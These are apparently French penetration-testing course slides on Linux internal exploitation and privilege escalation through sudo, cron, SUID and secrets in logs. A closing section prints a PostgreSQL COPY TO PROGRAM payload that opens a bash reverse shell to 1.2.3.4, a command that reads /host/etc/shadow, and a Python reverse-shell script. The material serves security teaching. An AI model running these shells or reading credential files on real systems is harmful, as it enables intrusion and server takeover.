Exploitation interne

Exploitation interne#

Denrés Linux#

Comptes :

  • Mots de passe

  • Clés SSH

  • Etc.

Secrets :

  • Journaux (souvant dans /var/log)

  • Historiques (bash_history)

  • Etc.

Mauvaises configurations :

  • Sudo

  • PATH

  • Etc.

Versions :

  • Kernel

  • Composants

  • CVE => Voir Linpeas par exemple

  • Etc.

Droits trop permissifs :

  • Crontab (cf. slide suivante)

  • Capabilities

  • SUID/GUID

  • Shared lib

  • Etc.

Notre ami SUDO#

Mauvaise configuration des droits sudo = Un utilisateur peut abuser de certaines commandes

Ce que l’on vise:

  • Exécution de code avec des privilèges plus élevés

  • Modification de fichiers

  • Compromission du serveur

Vérifier les droits sudo : sudo -l

  • Identifier les binaires autorisés permettant de sortir du contexte autorisé (GTFOBins)

  • Contrôler l’utilisation du caractère *

  • Vérifier les droits sur les binaires et les chemins associés

Notre ami CRON#

Exploitation des tâches planifiées (cron jobs).

Scripts exécutés automatiquement avec privilèges élevés.

Vulnérabilités fréquentes :

  • Script ou répertoire modifiable par un utilisateur non root

  • Ressources (et leurs répertoires) utilisées par les scripts modifiables par un utilisateur non root (cas du lien symbolique)

  • PATH non sécurisé / Fichier appelé sans chemin absolu

Ce que l’on vise:

  • Exécution de code en root

  • Persistance sur la machine

Comment trouver une faille CRON:

  • Lister les tâches cron: crontab -l, /etc/cron.....

  • Vérifier :

    • scripts modifiables

    • permissions incorrectes sur les fichiers / répertoires

    • chemins relatifs

  • Tester :

    • injection dans scripts exécutés

    • remplacement des ressources utilisés

Autre#

Quelques commandes que l’on a pu voir:

  • Exploit SQL: COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/1.2.3.4/1234 0>&1"';

  • /proc/1/status

  • df et mount

  • ls /host

  • cat /host/etc/shadow

Reverse shell en Python:

cat >> /shared/revshell.py << EOF
import sys,socket,os,pty
s=socket.socket()
s.connect(("1.2.3.4",1234))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("bash")
EOF